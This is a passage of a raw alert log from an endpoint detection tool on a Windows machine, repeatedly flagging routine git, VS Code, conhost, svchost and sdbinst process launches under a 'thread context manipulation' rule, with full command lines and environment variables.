COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:54:13+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 280 + Pid: 2296 + Tid: 3744 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:11.3695726 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 1a810b000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f579ee080, name➜ conhost.exe, pid➜ 6164, ppid➜ 2296, real_ppid➜ 2296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:11.3695726 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 2296 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:13+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 282 + Pid: 15816 + Tid: 9772 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:11.3760644 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 4423e4000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5a2a9080, name➜ conhost.exe, pid➜ 5084, ppid➜ 15816, real_ppid➜ 15816, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:11.3760644 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 15816 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname)] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:13+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 284 + Pid: 2296 + Tid: 3744 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:11.4087097 +0100 CET + Params: cmdline➜ git.exe status -z -uall, directory_table_base➜ 214067000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57237080, name➜ git.exe, pid➜ 5448, ppid➜ 2296, real_ppid➜ 2296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:11.4087097 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 2296 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:13+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 286 + Pid: 15816 + Tid: 9772 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:11.4167802 +0100 CET + Params: cmdline➜ git.exe for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname), directory_table_base➜ 403e2b000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b089080, name➜ git.exe, pid➜ 15380, ppid➜ 15816, real_ppid➜ 15816, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:11.4167802 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 15816 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname)] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:13+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 288 + Pid: 5448 + Tid: 1036 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:11.4753456 +0100 CET + Params: cmdline➜ git status --porcelain=2, directory_table_base➜ 5e2f9000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\libexec\git-core\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5ac22080, name➜ git.exe, pid➜ 7084, ppid➜ 5448, real_ppid➜ 5448, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:11.4753456 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 5448 + Ppid: 2296 + Name: git.exe + Parent name: git.exe + Cmdline: git.exe status -z -uall + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Exe: C:\Program Files\Git\mingw64\bin\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git.exe status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:13+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 291 + Pid: 5448 + Tid: 1036 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:11.5171466 +0100 CET + Params: cmdline➜ git status --porcelain=2, directory_table_base➜ 40aad9000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\libexec\git-core\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f56d9a0c0, name➜ git.exe, pid➜ 10392, ppid➜ 5448, real_ppid➜ 5448, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:11.5171466 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 5448 + Ppid: 2296 + Name: git.exe + Parent name: git.exe + Cmdline: git.exe status -z -uall + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Exe: C:\Program Files\Git\mingw64\bin\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git.exe status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:18+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 300 + Pid: 1004 + Tid: 9300 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:17.4029702 +0100 CET + Params: cmdline➜ C:\WINDOWS\system32\svchost.exe -k wsappx -p -s AppXSvc, directory_table_base➜ 1135d0000, domain➜ NT AUTHORITY, exe➜ C:\WINDOWS\system32\svchost.exe, exit_status➜ Success, flags➜ PROTECTED, kproc➜ ffff808f5ace0080, name➜ svchost.exe, pid➜ 4432, ppid➜ 1004, real_ppid➜ 1004, session_id➜ 0, sid➜ S-1-5-18, start_time➜ 2025-11-06 16:54:17.4029097 +0100 CET, token_elevation_type➜ DEFAULT, token_integrity_level➜ SYSTEM, token_is_elevated➜ true, username➜ SYSTEM + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 1004 + Ppid: 404 + Name: services.exe + Parent name: wininit.exe + Cmdline: C:\WINDOWS\system32\services.exe + Parent cmdline: wininit.exe + Exe: C:\WINDOWS\system32\services.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\services.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:18+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 302 + Pid: 9100 + Tid: 4616 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:17.6747421 +0100 CET + Params: cmdline➜ C:\WINDOWS\System32\sdbinst.exe -m -bg, directory_table_base➜ 2716a2000, domain➜ NT AUTHORITY, exe➜ C:\WINDOWS\System32\sdbinst.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5a080080, name➜ sdbinst.exe, pid➜ 16516, ppid➜ 9100, real_ppid➜ 9100, session_id➜ 0, sid➜ S-1-5-18, start_time➜ 2025-11-06 16:54:17.6746804 +0100 CET, token_elevation_type➜ DEFAULT, token_integrity_level➜ SYSTEM, token_is_elevated➜ true, username➜ SYSTEM + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 9100 + Ppid: 1004 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:54:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 304 + Pid: 16516 + Tid: 4368 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:17.6824738 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 243d4a000, domain➜ NT AUTHORITY, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5ac0a080, name➜ conhost.exe, pid➜ 15616, ppid➜ 16516, real_ppid➜ 16516, session_id➜ 0, sid➜ S-1-5-18, start_time➜ 2025-11-06 16:54:17.6824738 +0100 CET, token_elevation_type➜ DEFAULT, token_integrity_level➜ SYSTEM, token_is_elevated➜ true, username➜ SYSTEM + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 16516 + Ppid: 9100 + Name: sdbinst.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\System32\sdbinst.exe -m -bg + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc + Exe: C:\WINDOWS\System32\sdbinst.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\System32\sdbinst.exe -m -bg] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 308 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:17.9942491 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" config --get commit.template, directory_table_base➜ 175349000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f58fc50c0, name➜ git.exe, pid➜ 13968, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:17.9942491 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules 